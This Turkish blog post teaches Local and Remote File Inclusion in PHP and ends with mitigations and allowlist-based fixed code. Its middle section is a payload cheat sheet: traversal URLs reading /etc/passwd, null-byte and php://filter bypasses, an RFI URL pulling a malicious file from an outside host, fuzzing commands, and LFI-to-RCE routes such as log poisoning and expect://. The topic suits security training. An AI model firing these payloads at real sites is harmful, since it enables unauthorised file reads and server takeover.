File Inclusion Zafiyeti Nedir ?
File Inclusion, bir web uygulamasında başka bir dosyanın veya kaynağın dahil edilmesi işlemidir. Bu işlem, PHP, ASP, JSP gibi web programlama dillerinde kullanılan “include” veya “require” komutları ile gerçekleştirilir. File Inclusion işlemi, uygulamanın dinamik olarak çalışabilmesi için önemlidir. Ancak bu işlemi yanlış şekilde kullanmak, zafiyetlerin ortaya çıkmasına sebep olabilir.
File inclusion zafiyeti, bir web uygulaması üzerindeki bir dosya veya sayfa için kullanıcı tarafından sağlanan verilerin doğru şekilde denetlenmediği veya doğrulanmadığı durumlarda ortaya çıkar. Bu, saldırganların uygulama sunucusunda depolanan dosyalara erişmesine ve hatta uygulama sunucusunu ele geçirmesine izin verebilir.
File inclusion zafiyeti, iki tür olabilir:
- Local File Inclusion (LFI)
- Remote File Inclusion (RFI)
LFI Nedir?
Local File Inclusion (LFI), sisteme yetkisiz erişim anlamına gelir. Bu, bir saldırganın uygulama sunucusunda depolanan hassas dosyalara erişmesine ve hatta uygulama sunucusunu ele geçirmesine sebep olabilir.
LFI Zafiyeti Örneği:
Aşağıdaki kod parçası, kullanıcının page
adlı bir GET parametresi aracılığıyla bir dosya yolunu belirlemesine olanak tanır ve bu yol doğrudan require
fonksiyonuna geçirilir. Bu, bir saldırganın page
parametresine ../
dizin yolunu ekleyerek, sunucudaki hassas dosyalara erişmesine olanak sağlar
$file = $_GET['page'];
require($file);
Aşağıdaki örnekte saldırgan "/etc/passwd”
dosyasını okuyabilir
http://hedefsite.com/page=../../../../../../etc/passwd
RFI Nedir?
Remote File Inclusion (RFI), bir web uygulamasının kullanıcının sağladığı bir URL aracılığıyla harici bir web sunucusundan barınan herhangi bir dosyayı yüklemesine izin veren bir zafiyettir. Bu dosya, web uygulamasının içerisine doğrudan dahil edilir ve saldırgan, bu işlemi kullanarak uygulama sunucusunda zararlı kod çalıştırabilir.
RFI Zafiyeti Örneği:
Aşağıdaki PHP kodunda kullanıcı tarafından sağlanan $_REQUEST["file"]
parametresi, doğrudan include()
işlevine aktarılır ve potansiyel olarak kötü amaçlı bir kullanıcının sunucuda herhangi bir dosyaya erişmesine izin verir.
$incfile = $_REQUEST["file"];
include($incfile.".php");
Aşağıdaki örnekte saldırgan kendi sunucusunda barındırdığı zararlı bir dosyayı hedef üzerinde çalıştararak sunucuyu ele geçirebilir
http://hedefsite.com/index.php?page=http://tun4hunt.com/zararli.txt
Exploitation Trickz
Teknik detayların üzerinden geçtikten sonra şimdi işin eğlenceli kısmına geçiyoruz yazıyı okumanız 3 saat sürmesin diye fazla derinlere in(e)meyecek olsamda yeterince faydalı bir içerik olacağını düşünüyorum.
Zafiyeti exploit etmek için gerçekten işlevsel olduğunu düşündüğüm bir toolu sizlerle paylaşmak istiyorum
# Zafiyetin tespiti ve sömürüsü için otomatize araçlarının kullanımı
$ wfuzz -c -w ./lfiwordlist.txt http://hedefsite.com/nav.php?page=../../../../../../../FUZZ
$ ffuf -u http://hedefsite.com/index.php?page=FUZZ -w ./lfipayloads.txt
Tavsiye ettigim bazı payloadlar.
Linux için
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
Windows için
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
# Bypass Teknikleri
# Traversal sequences stripped non-recursively
http://hedefsite.com/index.php?page=....//....//....//etc/passwd
http://hedefsite.com/index.php?page=....\/....\/....\/etc/passwd
http://hedefsite.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
# Null byte (%00) PHP 5.4 den önceki sürümlerde geçerlidir
http://hedefsite.com/index.php?page=../../../etc/passwd%00
http://hedefsite.com/page=http://10.11.1.111/maliciousfile%00.txt
# PHP Filter b64
http://hedefsite.com/index.php?page=php://filter/convert.base64-encode/resource=/etc/passwd && base64 -d savefile.php
http://hedefsite.com/index.php?m=php://filter/convert.base64-encode/resource=config
http://hedefsite.com/maliciousfile.txt%00?page=php://filter/convert.base64-encode/resource=../config.php
# Other techniques
https://hedefsite.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c
https://hedefsite.com/static/%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c/etc/passwd
https://hedefsite.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd
https://hedefsite.com/static/../../../../../../../../../../../../../../../etc/passwd
https://hedefsite.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00
https://hedefsite.com/static//..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.html
https://hedefsite.com/asd.php?file:///etc/passwd
https://hedefsite.com/asd.php?file:///etc/passwd%00
https://hedefsite.com/asd.php?file:///etc/passwd%00.html
https://hedefsite.com/asd.php?file:///etc/passwd%00.ext
https://hedefsite.com/asd.php?file:///..//..//..//..//..//..//..//..//..//..//..//..//..//..//../etc/passwd%00.ext/etc/passwd
https://hedefsite.com/admin..;/
https://hedefsite.com/../admin
https://hedefsite.com/whatever/..;/admin
https://hedefsite.com/whatever.php~
# Kullanılabilecek bazı encoding yöntemleri
# Path Bypasses
# 16-bit Unicode encoding
# double URL encoding
# overlong UTF-8 Unicode encoding
# Cookie based
GET /vulnerable.php HTTP/1.1
Cookie:usid=../../../../../../../../../../../../../etc/pasdwd
# Şu yöntemlerle LFI to RCE zafiyeti oluşturulabilir:
Dosya yükleme formları/fonksiyonları kullanarak
PHP wrapper expect://command kullanarak
PHP wrapper php://file kullanarak
PHP wrapper php://filter kullanarak
PHP input:// stream kullanarak
data://text/plain;base64,command kullanarak
/proc/self/environ kullanarak
/proc/self/fd kullanarak
/var/log/apache/access.log,
/var/log/apache/error.log,
/var/log/vsftpd.log,
/var/log/sshd.log,
/var/log/mail
gibi girdisi kontrol edilebilen log dosyalarını kullanarak.
# Dosya türlerine göre LFI olasılıkları
ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
SVG: Stored XSS / SSRF / XXE
GIF: Stored XSS / SSRF
CSV: CSV injection
XML: XXE
AVI: LFI / SSRF
HTML / JS : HTML injection / XSS / Open redirect
PNG / JPEG: Pixel flood attack (DoS)
ZIP: RCE via LFI / DoS
PDF / PPTX: SSRF / BLIND XXE
# File Inclusion zafiyetine karşı savunmasız olması muhtemel 25 parametre
?cat={payload}
?dir={payload}
?action={payload}
?board={payload}
?date={payload}
?detail={payload}
?file={payload}
?download={payload}
?path={payload}
?folder={payload}
?prefix={payload}
?include={payload}
?page={payload}
?inc={payload}
?locate={payload}
?show={payload}
?doc={payload}
?site={payload}
?type={payload}
?view={payload}
?content={payload}
?document={payload}
?layout={payload}
?mod={payload}
?conf={payload}
Çözüm Önerileri
- Kullanıcı girdilerini doğrulayın: Kullanıcının girdisi, beklenen bir değer aralığında olduğundan emin olun. Doğrulama, kullanıcı girdisinin alfanumerik karakterlerle sınırlı olması, dosya yollarının sınırlı bir kök diziniyle sınırlı olması ve benzeri gibi kısıtlamalar olabilir.
- Include fonksiyonlarını kullanırken dikkatli olun: Kullanıcı tarafından kontrol edilen değişkenleri kullanmadan önce, güvenilir bir kaynaktan geldiğinden emin olmak için kontrol edin.
- Dosya yollarını sınırlayın: İşlem yapılacak dosya yolları, bir kök dizin altında sınırlı olmalıdır. Bu, kullanıcının dosya yollarını dizinler arasında gezinmek için kullanamayacağı anlamına gelir.
- PHP konfigürasyon dosyasını düzenleyin: php.ini dosyasında allow_url_include ve allow_url_fopen seçeneklerinin devre dışı bırakılması, RFI/LFI zafiyetlerine karşı koruma sağlayabilir.
KOD Tabanlı Çözüm Örnekleri
Örnek 1;
Aşağıdaki kod örneği “File Inclusion” zafiyetine karşı savunmasızdır. Çünkü kullanıcının sağladığı değer doğrudan include fonksiyonuna parametre olarak verilmekte ve bu değer, sunucunun dosya sistemine erişmek için kullanılmaktadır.
Bir saldırgan, kullanıcının sağladığı değeri manipüle ederek, sunucu üzerindeki başka dosyalara erişebilir hatta sunucuyu ele geçirebilir.
# Zafiyetli Kod Örnegi
<?php
$file = $_GET['file'];
include("/var/www/html/" . $file);
?>
Aşağıdaki kod, File Inclusion zafiyetinden korunmak için iyi bir örnektir. Kod kullanıcının istediği dosyayı içe aktarmak için bir web uygulaması kullanırken, $allowed_files dizisi içinde bulunmayan dosya yolları için bir kontrol yapar. Eğer kullanıcının istediği dosya $allowed_files dizisi içinde bulunuyorsa, dosyayı include() fonksiyonu aracılığıyla içe aktarır. Aksi takdirde, “Geçersiz dosya isteği” şeklinde bir hata mesajı gösterir.
# Zafiyetsiz Kod Örnegi
<?php
$allowed_files = array("file1.php", "file2.php", "file3.php");
$file = isset($_GET['file']) ? $_GET['file'] : 'file1.php';
if (in_array($file, $allowed_files)) {
include("/var/www/html/" . $file);
} else {
echo "Geçersiz dosya isteği";
}
?>
Örnek 2;
Aşağıdaki kod URL’lerden kaynaklanan güvenlik açıklarına karşı savunmasızdır. Bu kodda, kullanıcıların belirli bir URL’yi okumasına ve içeriğini görüntülemesine izin verilir. Ancak, bir saldırgan, bu kodu kötü amaçlı bir URL ile çağırarak, web sunucusuna zararlı içerik yükleyebilir veya saldırıları başlatmak için farklı taktikler kullanabilir.
# Zafiyetli Kod Örnegi
$url = $_GET['url'];
if (filter_var($url, FILTER_VALIDATE_URL)) {
$contents = file_get_contents($url);
echo htmlspecialchars($contents, ENT_QUOTES, 'UTF-8');
}
Aşağıdaki kod, kullanıcı tarafından girilen URL’nin geçerliliğini ve izin verilen hostların arasında olup olmadığını kontrol eder Bu kontrolü yapmak için, öncelikle $allowed_hosts adlı bir dizi tanımlanır ve içine izin verilen hostlar eklenir. Daha sonra, kullanıcının girdiği URL’den host adı parse_url() işlevi kullanılarak alınır ve $host değişkenine atanır.
Eğer kullanıcının girdiği URL geçerli ve izin verilen hostlar arasında ise, get_headers() işlevi kullanılarak URL’den alınan başlıklar $headers dizisine atanır. Eğer başlıklar alınamazsa, yani $headers dizisi boşsa, “Geçersiz URL” mesajı görüntülenir. Başlıklar alınabildiyse, Content-Type değeri alınır ve içerik türü text/html ise, file_get_contents() işlevi kullanılarak URL’den içerik alınır ve htmlspecialchars() işlevi kullanılarak güvenli hale getirilir. Daha sonra, bu içerik ekrana yazdırılır. Eğer içerik türü text/html değilse, “Bu dosya türü izin verilmemektedir” mesajı görüntülenir.
# Zafiyetsiz Kod Örnegi
$url = $_GET['url'];
// İzin verilen hostları belirtin
$allowed_hosts = array('tun4hunt.com', 'www.tun4hunt.com');
// URL geçerli mi ve izin verilen hostlardan biri mi?
if (filter_var($url, FILTER_VALIDATE_URL) && in_array(parse_url($url, PHP_URL_HOST), $allowed_hosts)) {
// Başlıkları alın
$headers = get_headers($url);
// Başlıklar alınamadıysa hatalı URL olduğunu belirtin
if (!$headers) {
echo "Geçersiz URL.";
} else {
// Content-Type değerini alın
$content_type = $headers['Content-Type'];
// Eğer içerik türü text/html ise, içerigi görüntüleyin
if (strpos($content_type, 'text/html') === 0) {
// Dosya boyutunu kontrol edin
$content_length = $headers['Content-Length'];
if ($content_length > 1000000) {
echo "içerik boyutu 1MB'dan büyük olduğu için görüntülenemiyor.";
} else {
// İçeriği alın
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$contents = curl_exec($ch);
curl_close($ch);
// Alınan içeriği güvenli hale getirin ve görüntüleyin
echo htmlspecialchars($contents, ENT_QUOTES, 'UTF-8');
}
} else {
echo "Bu dosya türü izin verilmemektedir.";
}
}
} else {
echo "Geçersiz URL veya izin verilmeyen host.";
}
Evet, Hem kendime not çıkarmak hemde Türkçe kaynak oluşturmak amaçlı yazmaya başladığım mediumdaki ilk yazımın sonuna geldik.
Buraya kadar okuduysanız umarım beğenmişsiniz ve size birşeyler katabilmişimdir. Olumlu yorumlarınızı ve eleştirilerinizi bekliyorum. Sonraki yazımızda görüşmek üzere, esen kalın.